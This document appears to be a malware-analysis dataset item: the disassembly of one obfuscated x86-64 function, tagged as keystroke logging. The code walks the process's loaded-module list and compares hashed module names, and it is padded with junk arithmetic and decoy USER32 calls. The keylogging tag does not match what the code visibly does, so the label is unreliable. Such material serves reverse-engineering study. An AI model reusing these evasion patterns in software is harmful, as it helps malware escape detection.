Function at 0x2f8aa5e92
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xf0], ecx
mov eax, dword [0x2f8ab408c]
imul ax, ax, 0x7fcc
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4082]
sub eax, 0x33
mov byte [0x2f8ab4090], al
movzx eax, byte [0x2f8ab4090]
movzx eax, al
imul eax, eax, 0xe935b6df
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
sub eax, 0x49c2f288
mov dword [0x2f8ab408c], eax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0x9f
mov rax, qword [sym.imp.USER32.dll_RedrawWindow]
call rax
mov eax, dword [0x2f8ab4084]
or ax, 0x9085
mov word [0x2f8ab4088], ax
mov edx, 0
mov ecx, 0x65
mov rax, qword [sym.imp.USER32.dll_GetIconInfo]
call rax
mov eax, dword [0x2f8ab4084]
or ax, 0x28a7
mov word [0x2f8ab4080], ax
mov dword [rbp + 0xdc], 0x2249
movzx eax, word [0x2f8ab4088]
xor ax, 0xa34e
mov word [0x2f8ab4088], ax
mov eax, dword [0x2f8ab4084]
xor eax, 0xc66df0dc
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4082]
imul ax, ax, 0x47d5
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab4084]
or ax, 0x4e17
mov word [0x2f8ab4082], ax
cmp dword [rbp + 0xf0], 0
jne 0x2f8aa602b
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add eax, 0x59002e50
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
imul eax, eax, 0xc07e7d4e
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4082]
sub ax, 0x1d5f
mov word [0x2f8ab4082], ax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
xor eax, 0x838541b3
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
imul eax, eax, 0xfd9e9a40
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4080]
and ax, 0xb79c
mov word [0x2f8ab4082], ax
mov eax, 0
jmp 0x2f8aa6d85
movzx eax, byte [0x2f8ab4090]
movzx eax, al
imul ax, ax, 0xbe9
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab4084]
xor eax, 0xa19e449
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4082]
movzx eax, ax
and eax, 0x84e3bbc6
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
sub eax, 0x251f9b1c
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4088]
sub eax, 0x6f
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4080]
sub ax, 0xcb6
mov word [0x2f8ab4080], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
and ax, 0x464d
mov word [0x2f8ab4080], ax
mov ecx, 0x1f
mov rax, qword [sym.imp.USER32.dll_GetSysColorBrush]
call rax
mov dword [rbp + 0xb4], 0x60
mov eax, dword [rbp + 0xb4]
mov rax, qword gs:[rax]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xc0], rax
mov eax, dword [0x2f8ab408c]
and ax, 0x31c2
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4082]
xor ax, 0xd990
mov word [0x2f8ab4088], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add eax, 0x3c9e2f7e
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
xor ax, 0xa615
mov word [0x2f8ab4088], ax
add dword [rbp + 0xdc], 1
movzx eax, word [0x2f8ab4088]
or eax, 0xffffffa4
mov byte [0x2f8ab4090], al
mov eax, dword [0x2f8ab408c]
xor ax, 0x3a8b
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4080]
or ax, 0xa0d3
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4082]
sub ax, 0xc15
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab408c]
and eax, 0x44249acd
mov dword [0x2f8ab408c], eax
mov rax, qword [rbp + 0xc0]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0xb8], rax
movzx eax, word [0x2f8ab4082]
or ax, 0xb1c
mov word [0x2f8ab4082], ax
movzx eax, word [0x2f8ab4082]
movzx eax, ax
imul eax, eax, 0x4e6141e4
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4088]
or ax, 0x976f
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
xor eax, 0xeed4c8d5
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4088]
xor ax, 0x30df
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab408c]
or eax, 0xcbf8c127
mov dword [0x2f8ab4084], eax
mov edx, 0
mov ecx, 2
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
mov eax, dword [0x2f8ab408c]
sub eax, 0xee6e37
mov dword [0x2f8ab4084], eax
add dword [rbp + 0xdc], 1
mov eax, dword [0x2f8ab408c]
xor ax, 0xbdb5
mov word [0x2f8ab4080], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
xor eax, 0xaf98997f
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4080]
and ax, 0x1c8a
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab408c]
mov edx, 0xffffff97
imul eax, edx
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4088]
movzx eax, ax
or eax, 0xc3fa30c4
mov dword [0x2f8ab408c], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
and ax, 0xcc01
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab4084]
and eax, 0xffffffcb
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4080]
add eax, 0x4e
mov byte [0x2f8ab4090], al
mov rax, qword [rbp + 0xb8]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0xd0], rax
mov eax, dword [0x2f8ab408c]
mov edx, 0xffffffdc
imul eax, edx
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4082]
sub ax, 0x3768
mov word [0x2f8ab4082], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
xor eax, 0xd3017343
mov dword [0x2f8ab408c], eax
add dword [rbp + 0xdc], 1
movzx eax, word [0x2f8ab4088]
movzx eax, ax
sub eax, 0x578baf0b
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4088]
xor ax, 0x981e
mov word [0x2f8ab4082], ax
movzx eax, word [0x2f8ab4082]
and ax, 0x6b5b
mov word [0x2f8ab4082], ax
movzx eax, byte [0x2f8ab4090]
sub eax, 0x71
mov byte [0x2f8ab4090], al
mov eax, dword [0x2f8ab4084]
xor eax, 0x26dc6b8
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4082]
or ax, 0xb70e
mov word [0x2f8ab4082], ax
jmp 0x2f8aa6d72
mov eax, dword [0x2f8ab4084]
add eax, 7
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4082]
movzx eax, ax
xor eax, 0x8c787fdf
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4088]
and ax, 0x9de6
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
or eax, 0xffffffba
mov byte [0x2f8ab4090], al
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add ax, 0x738d
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
or eax, 0x39e22b67
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4088]
movzx eax, ax
xor eax, 0xd9c28207
mov dword [0x2f8ab408c], eax
mov eax, dword [0x2f8ab4084]
sub ax, 0x1b98
mov word [0x2f8ab4082], ax
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x50]
test rax, rax
je 0x2f8aa6cc9
movzx eax, word [0x2f8ab4088]
sub eax, 0x3b
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4082]
and eax, 0xfffffff2
mov byte [0x2f8ab4090], al
mov eax, dword [0x2f8ab408c]
and ax, 0xaedd
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab4084]
xor eax, 0x810fffea
mov dword [0x2f8ab4084], eax
mov eax, dword [0x2f8ab4084]
sub ax, 0x1a57
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
or ax, 0x4e9
mov word [0x2f8ab4082], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
xor ax, 0xa21
mov word [0x2f8ab4082], ax
movzx eax, byte [0x2f8ab4090]
and eax, 0xffffffa8
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4088]
or ax, 0x523f
mov word [0x2f8ab4088], ax
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0x59
mov rax, qword [sym.imp.USER32.dll_RedrawWindow]
call rax
add dword [rbp + 0xdc], 1
movzx eax, word [0x2f8ab4080]
movzx eax, ax
or eax, 0x39b95063
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4088]
movzx eax, ax
or eax, 0xfe6786a6
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4082]
sub ax, 0x2052
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab4084]
and eax, 0x66908e2b
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4088]
sub ax, 0x565f
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4080]
and eax, 0xffffffca
mov byte [0x2f8ab4090], al
mov rax, qword [rbp + 0xd0]
movzx eax, word [rax + 0x48]
cmp ax, 0x102
ja 0x2f8aa6d61
mov eax, dword [0x2f8ab408c]
add eax, 0x4901a35
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
sub ax, 0xe85
mov word [0x2f8ab4080], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
imul ax, ax, 0x3fae
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab408c]
or ax, 0xd7eb
mov word [0x2f8ab4088], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
sub ax, 0x56be
mov word [0x2f8ab4082], ax
movzx eax, word [0x2f8ab4080]
and ax, 0xbb0e
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4088]
movzx eax, ax
imul eax, eax, 0x5c6d80d4
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
imul ax, ax, 0xc46f
mov word [0x2f8ab4088], ax
mov eax, dword [0x2f8ab408c]
imul eax, eax, 0x4900091c
mov dword [0x2f8ab408c], eax
mov eax, dword [0x2f8ab408c]
and ax, 0x306e
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4080]
or eax, 0x79
mov byte [0x2f8ab4090], al
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
add dword [rbp + 0xdc], 1
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add ax, 0x19f0
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab4084]
add eax, 0x70
mov byte [0x2f8ab4090], al
mov eax, dword [0x2f8ab4084]
imul eax, eax, 0x6f5ea183
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4082]
add eax, 0x5c
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4080]
xor eax, 0x70
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4088]
or ax, 0x332b
mov word [0x2f8ab4082], ax
lea rax, [rbp - 0x60]
mov edx, 0x104
mov rcx, rax
call fcn.2f8aaa316
movzx eax, byte [0x2f8ab4090]
movzx eax, al
sub ax, 0x3607
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4088]
mov ecx, eax
shl eax, 4
mov edx, eax
mov eax, ecx
sub eax, edx
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4088]
sub ax, 0x6de4
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
imul ax, ax, 0xf404
mov word [0x2f8ab4088], ax
mov dword [rbp + 0xcc], 0
movzx eax, word [0x2f8ab4080]
movzx eax, ax
xor eax, 0x67396d95
mov dword [0x2f8ab408c], eax
mov eax, dword [0x2f8ab408c]
or ax, 0x1f43
mov word [0x2f8ab4082], ax
movzx eax, word [0x2f8ab4082]
add ax, 0x344e
mov word [0x2f8ab4088], ax
jmp 0x2f8aa697f
mov eax, dword [0x2f8ab408c]
and eax, 0xffffffec
mov byte [0x2f8ab4090], al
movzx eax, byte [0x2f8ab4090]
movzx eax, al
xor ax, 0x2aa0
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab408c]
sub ax, 0x243b
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab4084]
and eax, 0xc5cb1fd4
mov dword [0x2f8ab4084], eax
mov eax, dword [0x2f8ab4084]
or ax, 0xa30c
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4088]
mov edx, 0xffffffdb
imul eax, edx
mov byte [0x2f8ab4090], al
movzx eax, byte [0x2f8ab4090]
xor eax, 0x23
mov byte [0x2f8ab4090], al
mov eax, dword [0x2f8ab408c]
imul ax, ax, 0xda5a
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4082]
movzx eax, ax
sub eax, 0x731b73e5
mov dword [0x2f8ab408c], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
or ax, 0x7e8e
mov word [0x2f8ab4080], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add ax, 0x5709
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab4084]
sub ax, 0x7794
mov word [0x2f8ab4082], ax
movzx eax, word [0x2f8ab4082]
sub ax, 0xc7d
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
xor eax, 0x6fd934c6
mov dword [0x2f8ab4084], eax
add dword [rbp + 0xdc], 1
movzx eax, word [0x2f8ab4088]
add ax, 0x55e2
mov word [0x2f8ab4082], ax
movzx eax, byte [0x2f8ab4090]
add eax, 0x35
mov byte [0x2f8ab4090], al
mov eax, dword [0x2f8ab408c]
add eax, 0x592ce52d
mov dword [0x2f8ab4084], eax
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x50]
mov edx, dword [rbp + 0xcc]
add rdx, rdx
add rax, rdx
movzx eax, word [rax]
movsx eax, al
mov ecx, eax
call fcn.2f8aad156
mov edx, dword [rbp + 0xcc]
mov byte [rbp + rdx - 0x60], al
movzx eax, word [0x2f8ab4082]
add ax, 0x262
mov word [0x2f8ab4082], ax
movzx eax, word [0x2f8ab4082]
movzx eax, ax
or eax, 0x7c58f32
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
xor eax, 0xf5b3c9dc
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4080]
and eax, 0xffffff8e
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4082]
add ax, 0x63b
mov word [0x2f8ab4082], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
and ax, 0xec4a
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab408c]
sub eax, 0x462ed17
mov dword [0x2f8ab4084], eax
add dword [rbp + 0xcc], 1
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x50]
mov edx, dword [rbp + 0xcc]
add rdx, rdx
add rax, rdx
movzx eax, word [rax]
test ax, ax
je 0x2f8aa69ae
cmp dword [rbp + 0xcc], 0x102
jbe 0x2f8aa6787
movzx eax, word [0x2f8ab4088]
xor eax, 0xffffffcf
mov byte [0x2f8ab4090], al
movzx eax, byte [0x2f8ab4090]
movzx eax, al
and ax, 0x8ccb
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab4084]
or ax, 0x3654
mov word [0x2f8ab4088], ax
movzx eax, word [0x2f8ab4082]
mov edx, 0x2c
imul eax, edx
mov byte [0x2f8ab4090], al
movzx eax, word [0x2f8ab4088]
movzx eax, ax
add eax, 0x3e543ad
mov dword [0x2f8ab4084], eax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
movzx eax, word [0x2f8ab4080]
sub ax, 0x273b
mov word [0x2f8ab4080], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add eax, 0x2b0a94ca
mov dword [0x2f8ab4084], eax
mov eax, dword [rbp + 0xcc]
mov byte [rbp + rax - 0x60], 0
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add ax, 0x49ed
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab4084]
and eax, 0x9d919acc
mov dword [0x2f8ab408c], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
sub eax, 0x2b722a95
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
and ax, 0x9288
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab408c]
add ax, 0x7525
mov word [0x2f8ab4088], ax
mov eax, dword [0x2f8ab4084]
add ax, 0x7d06
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab4084]
and eax, 0xdb5ae4d7
mov dword [0x2f8ab408c], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
or ax, 0x7efb
mov word [0x2f8ab4082], ax
add dword [rbp + 0xdc], 1
mov eax, dword [0x2f8ab408c]
sub eax, 0x22169c49
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
and eax, 0x6ddec7aa
mov dword [0x2f8ab4084], eax
movzx eax, word [0x2f8ab4088]
movzx eax, ax
xor eax, 0x73344e21
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4082]
or ax, 0x5687
mov word [0x2f8ab4080], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add ax, 0x4cc7
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab408c]
and eax, 0x31cfddb8
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4080]
add ax, 0xa7d
mov word [0x2f8ab4080], ax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.2f8ab1ddc
cmp dword [rbp + 0xf0], eax
sete al
test al, al
je 0x2f8aa6d61
movzx eax, word [0x2f8ab4088]
and ax, 0x5109
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
add ax, 0x4009
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab4084]
and ax, 0x51c4
mov word [0x2f8ab4080], ax
mov eax, dword [0x2f8ab408c]
and eax, 0x4be39238
mov dword [0x2f8ab408c], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
and eax, 0x582be6d5
mov dword [0x2f8ab408c], eax
mov eax, dword [0x2f8ab408c]
sub eax, 0x15
mov byte [0x2f8ab4090], al
mov edx, 0
mov ecx, 0xc6
mov rax, qword [sym.imp.USER32.dll_GetSystemMenu]
call rax
movzx eax, byte [0x2f8ab4090]
mov edx, 0xffffffd7
imul eax, edx
mov byte [0x2f8ab4090], al
mov ecx, 0xb3
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
movzx eax, word [0x2f8ab4080]
and ax, 0xd147
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4082]
sub ax, 0x7677
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
sub ax, 0x3c5b
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
movzx eax, ax
and eax, 0xe4998a17
mov dword [0x2f8ab408c], eax
movzx eax, word [0x2f8ab4088]
xor ax, 0x941
mov word [0x2f8ab4082], ax
mov eax, dword [0x2f8ab4084]
or eax, 0x48b88050
mov dword [0x2f8ab4084], eax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
sub eax, 0x415a61cd
mov dword [0x2f8ab408c], eax
add dword [rbp + 0xdc], 1
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax + 0x20]
jmp 0x2f8aa6d85
mov eax, dword [0x2f8ab408c]
xor eax, 0xa0f58f59
mov dword [0x2f8ab4084], eax
mov eax, dword [0x2f8ab4084]
xor ax, 0xb54c
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4088]
movzx eax, ax
xor eax, 0x69336bb8
mov dword [0x2f8ab408c], eax
mov eax, dword [0x2f8ab408c]
and ax, 0x249b
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4080]
add ax, 0x6d7c
mov word [0x2f8ab4080], ax
movzx eax, byte [0x2f8ab4090]
movzx eax, al
add ax, 0x40d
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4082]
add ax, 0x577c
mov word [0x2f8ab4080], ax
movzx eax, word [0x2f8ab4082]
movzx eax, ax
add eax, 0x258abe32
mov dword [0x2f8ab4084], eax
jmp 0x2f8aa6d80
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax]
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0
jne 0x2f8aa639d
mov eax, 0
add rsp, 0x160
pop rbp
ret